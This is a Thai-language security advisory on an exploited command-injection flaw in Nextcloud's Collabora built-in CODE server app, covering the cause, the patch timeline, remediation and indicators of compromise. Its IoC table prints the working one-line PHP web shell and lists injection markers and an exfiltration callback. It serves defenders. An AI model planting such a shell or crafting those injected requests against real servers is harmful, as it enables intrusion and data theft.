สรุปสั้น

ผู้โจมตีใช้ช่องโหว่ในแอปเสริมของ Nextcloud ชื่อ Collabora Online - Built-in CODE Server (ชื่อแพ็กเกจ richdocumentscode) ฝัง web shell ลงบนเซิร์ฟเวอร์ Nextcloud โดยมีผู้ดูแลระบบ 3 รายรายงานเหตุบน GitHub และการโจมตีครั้งแรกที่มีบันทึกเกิดขึ้นเมื่อวันที่ 10 กันยายน 2569 ช่องโหว่นี้ทำให้คำขอที่ไม่ต้องยืนยันตัวตนรันคำสั่งบนเซิร์ฟเวอร์ได้ด้วยสิทธิ์ของบัญชีเว็บเซิร์ฟเวอร์ แต่ทำได้เฉพาะตอนที่เซิร์ฟเวอร์เอกสาร CODE ในเครื่องไม่ได้ทำงาน เช่น ระหว่างรีสตาร์ต อัปเกรด หรือหลังโปรแกรมล่ม ในเครื่องหนึ่ง ผู้โจมตีใช้ web shell ค้นหาไฟล์เก็บรหัสผ่านและกระเป๋าคริปโต

บริษัท Collabora แก้ไขช่องโหว่ในเวอร์ชัน 26.4.303 ตั้งแต่วันที่ 11 กันยายน แต่เพิ่งออกประกาศพร้อมรหัส CVE-2026-110447 เมื่อวันที่ 14 ตุลาคม 2569 หรือกว่า 1 เดือนต่อมา และเตือนว่าการปิด (disable) แอปไม่ได้ช่วยอะไร ต้องอัปเดตหรือถอนแอปออกเท่านั้น เพราะสคริปต์ที่มีช่องโหว่เป็นไฟล์ PHP ที่เว็บเซิร์ฟเวอร์เรียกได้โดยตรง เซิร์ฟเวอร์ Collabora Online แบบแยกตัวไม่ได้รับผลกระทบ แต่ Nextcloud 29 และเก่ากว่าซึ่งหมดอายุการสนับสนุนแล้ว ยังได้รับเวอร์ชันที่มีช่องโหว่จาก app store และติดตั้งเวอร์ชันแก้ไขไม่ได้

รายละเอียดข่าว

เว็บไซต์ The Hacker News รายงานเมื่อวันที่ 14 ตุลาคม 2569 ว่าแอป richdocumentscode ที่ Collabora เผยแพร่ จะดาวน์โหลด Collabora Online Development Edition (CODE) มารันบนเซิร์ฟเวอร์ Nextcloud เอง ทำให้ Nextcloud Office แก้ไขเอกสารได้โดยไม่ต้องมีเซิร์ฟเวอร์ Collabora แยก หน้าแอปใน store ระบุว่าแอปนี้ “สำหรับทดสอบในเครื่องและไม่ใช่การใช้งานจริง” และ “สำหรับใช้ส่วนตัวหรือทีมเล็ก” ประกาศของ Collabora ครอบคลุมทุกเวอร์ชันก่อน 26.4.303 ส่วนคำเตือนบนฟอรัมชุมชน Nextcloud เมื่อวันที่ 3 ตุลาคมระบุว่าระบบที่ใช้แค่แอป Nextcloud Office (richdocuments) โดยไม่มีแอป built-in ไม่ได้รับผลกระทบ ไม่ว่าเซิร์ฟเวอร์ Collabora จะรันใน Docker จากแพ็กเกจ Linux หรือที่ผู้ให้บริการโฮสต์

รายงานแรกมาจากผู้ดูแลระบบที่โฮสต์ Nextcloud หลายเครื่อง ซึ่งเขียนบน GitHub ว่าเซิร์ฟเวอร์ถูกแฮ็กมาตั้งแต่วันก่อนหน้า ล็อกการเข้าถึงจาก 2 เครื่องแสดงคำขอเมื่อเวลา 19:51 น. ของวันที่ 10 กันยายน และ 09:56 น. ของวันที่ 11 กันยายน (UTC+2) มาจาก IP เดียวกัน ทั้งคู่เล็งไปที่ proxy.php?status โดยซ่อนคำสั่ง shell ไว้ใน path ของคำขอ ทุกเครื่องของผู้ดูแลรายนี้รันเวอร์ชัน 26.4.302 ผู้ดูแลอีก 2 รายพบเหตุแบบเดียวกัน รายหนึ่งพบ shell เพราะ integrity check ของ Nextcloud แจ้งเตือนไฟล์ PHP ใหม่ อีกรายรู้ตัวจากอีเมลแจ้งความพยายามใช้ sudo ที่ล้มเหลวบนเซิร์ฟเวอร์ ไม่มีรายงานใดแสดงว่าผู้โจมตีได้สิทธิ์ root

CVE record ระบุว่าช่องโหว่นี้ “ถูกโจมตีจริงในเดือนกันยายนและตุลาคม 2569” แต่ไม่ทราบว่ามีเซิร์ฟเวอร์ถูกเจาะกี่เครื่อง ผู้ใช้ชื่อ mmeeks ที่ตอบในนามโครงการเขียนว่า “กระทบเฉพาะ Development Edition และเฉพาะโหมด Built-in CODE Server (ซึ่งค่อนข้างพบน้อย) ที่ดาวน์โหลด appimage มารันในเครื่องเท่านั้น”

รายละเอียดช่องโหว่

ต้นเหตุ — สคริปต์ proxy.php ของแอปจะสั่งเริ่มเซิร์ฟเวอร์ CODE ในเครื่องทุกครั้งที่มีคำขอเข้ามาแต่ไม่มีอะไรรอรับอยู่ ในเวอร์ชันจนถึง 26.4.302 สคริปต์นำข้อความจากคำขอ รวมถึง path ไปใส่ไว้ในคำสั่ง bash ที่ครอบด้วยเครื่องหมายคำพูดคู่ ซึ่ง shell ยังคงรันทุกอย่างที่เขียนในรูป $(...) คำขอที่ซ่อนคำสั่งไว้ใน path จึงรันคำสั่งนั้นได้ด้วยสิทธิ์ของผู้ใช้เว็บเซิร์ฟเวอร์ (command injection) และเพราะสคริปต์สร้างคำสั่งนี้เฉพาะตอนต้องเริ่มเซิร์ฟเวอร์ การโจมตีจึงได้ผลเฉพาะตอนที่ CODE ไม่ได้ทำงาน proxy.php เป็นไฟล์ PHP ธรรมดาที่เว็บเซิร์ฟเวอร์เรียกตรงจากโฟลเดอร์ของแอปและไม่โหลดโค้ดของ Nextcloud เลย การปิดแอปใน Nextcloud จึงไม่ได้ปิดช่องทางนี้

สิ่งที่ผู้โจมตีทำ — คำสั่งที่ส่งมาจะถอดรหัส web shell PHP บรรทัดเดียวลงในโฟลเดอร์ของแอป แล้วพยายามส่งผลลัพธ์ของ uname -a ไปยังที่อยู่บน webhook.site ในเครื่องหนึ่ง ผู้โจมตีใช้ shell ต่อเพื่อค้นหาไฟล์เก็บรหัสผ่านและกระเป๋าคริปโต เช่น *.kdbx, wallet.dat, keystore.json และชื่ออย่าง bitwarden, 1password, .bitcoin, .electrum, .monero และ .ethereum คำขอที่ตรวจพบไม่มีคำสั่งบีบอัด อัปโหลด หรือคัดลอกไฟล์ออก แต่ผู้รายงานรายแรกเตือนว่าทุกอย่างที่บัญชีเว็บเซิร์ฟเวอร์อ่านได้ต้องถือว่าอาจรั่วแล้ว หลังอัปเดตเป็น 26.4.303 ผู้ดูแลรายหนึ่งยังบันทึกความพยายามอีกครั้งเมื่อวันที่ 14 กันยายนจาก IP ที่สอง ด้วย payload แบบเดียวกัน เซิร์ฟเวอร์ CODE ที่ถูกเรียกขึ้นมามีข้อความโจมตีติดอยู่ใน startup option แต่ไม่มีไฟล์ shell ใหม่เกิดขึ้น ซึ่ง mmeeks ตอบว่า “ดูน่ากลัวแต่น่าจะไม่เป็นอันตราย”

แพตช์ที่ออกโดยไม่มีประกาศความปลอดภัย — การแก้ไขมีเพียง 4 บรรทัดใน proxy.php โดยส่งคำสั่งเริ่มเซิร์ฟเวอร์ให้ bash เป็นอาร์กิวเมนต์เดียวที่ escape แล้ว แทนสตริงในเครื่องหมายคำพูดคู่ ประวัติ commit แสดงว่านาย Caolán McNamara ซึ่งเป็นผู้เผยแพร่ประกาศเอง เขียนการแก้ไขนี้ตั้งแต่วันที่ 20 สิงหาคม ภายใต้ชื่อ “tidy up how the coolwsd launch command is built” แต่ไม่ได้อยู่ในเวอร์ชัน 26.4.302 ที่ออกวันที่ 31 สิงหาคม และเพิ่ง commit เมื่อวันที่ 9 กันยายน การโจมตีครั้งแรกเกิดวันที่ 10 กันยายน และเวอร์ชัน 26.4.303 ออกวันที่ 11 กันยายน โดยบันทึกประจำรุ่นระบุแค่บิลด์ CODE ที่มาด้วย ผู้รายงานรายแรกจึงเลือกปิดแอประหว่างรอแพตช์ ซึ่งประกาศตอนนี้บอกว่าไม่เพียงพอ

ในเธรดดังกล่าว mmeeks สัญญาว่าจะ “มีอัปเดตเพิ่มเติมตามมา” และชี้ไปที่ “งานค้างสะสมเป็นประวัติการณ์” ของฐานข้อมูล advisory ของ GitHub ส่วนวันที่ 3 ตุลาคม สมาชิกฟอรัม Nextcloud เตือนให้อัปเดตทันทีเพราะช่องโหว่ “ถูกโจมตีแล้ว” ทั้งที่ “ยังไม่มีคำเตือนหรือ CVE” ประกาศให้เครดิตผู้ใช้ GitHub ชื่อ wwwshellcodeit เป็นผู้รายงาน แต่ทั้งประกาศและเธรดไม่ได้บอกว่าได้รับรายงานเมื่อใด หรือ Collabora รู้เมื่อใดว่าการแก้ไขนั้นเป็นการปิดช่องโหว่ความปลอดภัย นอกจากนี้ การแก้ช่องโหว่ command injection อีกตัวในสคริปต์เดียวกัน คือ CVE-2025-66208 ที่เปิดเผยเมื่อธันวาคมปีก่อน ไม่ได้ป้องกันช่องโหว่ตัวนี้

ผลกระทบ

แม้ Collabora จะระบุว่าโหมด Built-in CODE Server ไม่ได้ออกแบบมาสำหรับใช้งานจริง แต่ในทางปฏิบัติ ผู้ดูแลที่โฮสต์ Nextcloud ให้ทีมเล็กหรือใช้ส่วนตัวมักเลือกแอปนี้เพราะติดตั้งง่ายที่สุด เซิร์ฟเวอร์ Nextcloud มักเก็บไฟล์งาน เอกสาร และบางครั้งไฟล์สำรองรหัสผ่านหรือกระเป๋าคริปโต ซึ่งเป็นสิ่งที่ผู้โจมตีค้นหาอย่างเจาะจงในเหตุนี้ บัญชีเว็บเซิร์ฟเวอร์ที่ถูกยึดจึงเข้าถึงข้อมูลผู้ใช้ทั้งหมดที่เก็บบนเครื่องได้ แม้จะไม่ได้สิทธิ์ root

ช่องว่างกว่า 1 เดือนระหว่างแพตช์กับประกาศ CVE ทำให้ระบบสแกนช่องโหว่และผู้ดูแลที่ติดตามจาก advisory ไม่รู้ว่าต้องรีบอัปเดต ผู้ที่ปิดแอปแล้วคิดว่าปลอดภัยก็ยังเปิดช่องอยู่ ระบบที่รัน Nextcloud 29 หรือเก่ากว่ายังได้รับเวอร์ชันมีช่องโหว่จาก app store และเวอร์ชัน 26.4.402 ที่ออกตามมาก็มีรายงานว่าเปิดไม่ขึ้นในบางระบบ จำนวนเซิร์ฟเวอร์ที่ถูกเจาะจริงยังไม่มีใครทราบ

คำแนะนำ

  • อัปเดตแอป Collabora Online - Built-in CODE Server (richdocumentscode) เป็นเวอร์ชัน 26.4.303 ขึ้นไป หรือถอนแอปออก การปิดแอปใน Nextcloud ไม่ได้ปิดช่องโหว่
  • ถ้ายังใช้ Nextcloud 29 หรือเก่ากว่าซึ่งติดตั้ง 26.4.303 ไม่ได้ (เวอร์ชันแก้ไขต้องใช้ Nextcloud 30 ขึ้นไป) ให้อัปเกรด Nextcloud หรือถอนแอปออก
  • สำหรับการใช้งานจริง พิจารณาย้ายไปใช้เซิร์ฟเวอร์ Collabora Online แยก (Docker หรือแพ็กเกจ Linux) ร่วมกับแอป Nextcloud Office ซึ่งไม่ได้รับผลกระทบ
  • ถ้าอัปเดตแล้ว ให้ค้นหาไฟล์ shx*.php (และ shr*.php) เริ่มจาก apps/richdocumentscode/ แล้วลบทิ้ง
  • ตรวจล็อกการเข้าถึงย้อนหลังอย่างน้อยถึงวันที่ 10 กันยายน 2569 หาคำขอไปที่ proxy.php?status ที่ path มี %2e%2e, $( หรือ ${IFS} และหาความพยายามใช้ sudo จากบัญชีเว็บเซิร์ฟเวอร์
  • ถือว่าทุกอย่างที่บัญชีเว็บเซิร์ฟเวอร์อ่านได้อาจรั่วแล้ว เปลี่ยนรหัสผ่าน ข้อมูลรับรองฐานข้อมูล และกุญแจที่เก็บบนเครื่อง และย้ายกระเป๋าคริปโตที่เคยเก็บไว้บนเซิร์ฟเวอร์
  • ระวังเวอร์ชัน 26.4.402 (ออก 24 ก.ย.) ที่เขียนคำสั่งเริ่มเซิร์ฟเวอร์ใหม่ เพราะผู้ดูแลหลายรายรายงานว่าเปิดไม่ขึ้นหรือเปิดเอกสารไม่ได้และย้อนกลับไปใช้ 26.4.303 ซึ่งเป็นเวอร์ชันที่ประกาศระบุว่าแก้ไขแล้ว (ณ 14 ต.ค. 2569 ยังไม่มีรุ่นใหม่กว่านี้)

Indicators of Compromise (IoCs)

หมายเหตุ: IP และโดเมนถูก defang แล้ว ([.]) · สัญญาณทั้งหมดมาจากล็อกของผู้ดูแลระบบ 3 รายที่รายงานบน GitHub

Indicatorประเภทคำอธิบาย
139.28[.]18[.]122IPแหล่งที่มาการโจมตีวันที่ 10 และ 11 ก.ย. 2569
89.38[.]98[.]50IPแหล่งที่มาความพยายามโจมตีวันที่ 14 ก.ย. 2569 ต่อเซิร์ฟเวอร์ที่แพตช์แล้ว
/apps/richdocumentscode/proxy.php?statusURL pathendpoint ที่ถูกโจมตี
%2e%2e, $(, ${IFS}, base64 -d ส่งต่อให้ shRequest markerสัญญาณใน path ของคำขอโจมตี
shrf4645.php, shxa35d0.php, shx5cf91.php, shxd33ce.php, shxf4645.phpFileweb shell ที่พบใน apps/richdocumentscode/ บนเซิร์ฟเวอร์ของผู้รายงานรายแรก
shx13a86.phpFileweb shell ที่ผู้ดูแลรายที่สองพบ (ไม่ระบุตำแหน่ง)
shx56367.phpFileชื่อไฟล์ในความพยายามวันที่ 14 ก.ย. ที่ไม่ได้สร้างไฟล์สำเร็จ
4b9fbd0663fbfd6028fc216ed18e0d6ef3ae498a7fdc97083e4b0ce3cec40562SHA-256web shell บรรทัดเดียว <?php $c=$_GET['c']??'id'; echo shell_exec($c.' 2>&1');
webhook[.]siteDomainบริการสาธารณะที่ใช้รับผล uname -a
45060ed4-de0b-4119-8f0d-2a2776bbd413Callback IDID บน webhook.site ที่ผู้โจมตีใช้
774cf5e1-b5a4-4174-a1ad-0241861029a2Callback IDID บน webhook.site ที่ผู้โจมตีใช้

แหล่งอ้างอิง